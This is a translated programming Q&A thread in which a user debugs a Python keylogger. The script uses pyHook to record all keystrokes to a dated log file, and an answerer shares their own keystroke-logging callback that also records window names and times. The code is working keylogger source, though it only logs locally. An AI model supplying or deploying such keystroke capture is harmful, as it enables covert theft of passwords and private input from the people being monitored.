[英]Python TypeError an integer is required pyHook pythoncom
我寫了一個腳本:
import pythoncom, pyHook
import time
from time import strftime,localtime
def OKBE(event):
log =str("log "+str(time.strftime("%d,%B",localtime()))+".txt")
f=open(str(log),"a")
if(str(event.Ascii)=="8"):
f.write("<--")
print("<--")
elif(str(event.Ascii)=="13"):
f.write("\nENTER "+str(time.strftime("%H,%M",localtime()))+"\n")
print("\nENTER\n")
elif(str(event.Ascii)=="32"):
f.write(" ")
else:
f.write(chr(event.Ascii))
print(str(event.Ascii))
print(chr(event.Ascii))
manager = pyHook.HookManager()
manager.KeyDown = OKBE
manager.HookKeyboard()
pythoncom.PumpMessages()
但是只要事件是a或p以及其他一些字母,我都會收到此錯誤:
Traceback (most recent call last):
File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
return func(event)
File "C:\Users\Miran\Desktop\Pythonprojekt\Keylogger\keylogger.pyw", line 10, in OKBE
log =str("log "+str(time.strftime("%d,%B",localtime()))+".txt")
TypeError: an integer is required
有人知道為什么嗎?
事件是一個類(或者我應該說一個類的實例),您可以從實例中調用信息(請參見下面的代碼),例如“ event.key”將為您提供ASCII字符代碼。 event.alt將返回“ alt”鍵的狀態。
我記得在編寫python鍵盤記錄器時遇到過類似的問題(盡管已經很久了)。 我看不到您的代碼有任何立即錯誤。 我的“ OKBE”功能看起來更像這樣。
def OnKeyboardEvent(self, event):
if (event.Ascii > 31 and event.Ascii < 127) or event.Ascii == 13 or event.Ascii == 9:
data = (event.WindowName, event.Window, event.Time, event.Ascii, event.Key, event.Alt)
print data # debugging
我相信使用上述方法可以捕獲大多數(如果不是全部)常規擊鍵。 使用上面的函數,我創建了帶有其他日志記錄函數的類。
如果您還有其他需要,或者想知道代碼中發生了什么,請告訴我:)
我認為問題是個錯誤...當我更換時
by log =str("log "+str(time.strftime("%d,%B",localtime()))+".txt")
log="log.txt"
一切正常
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.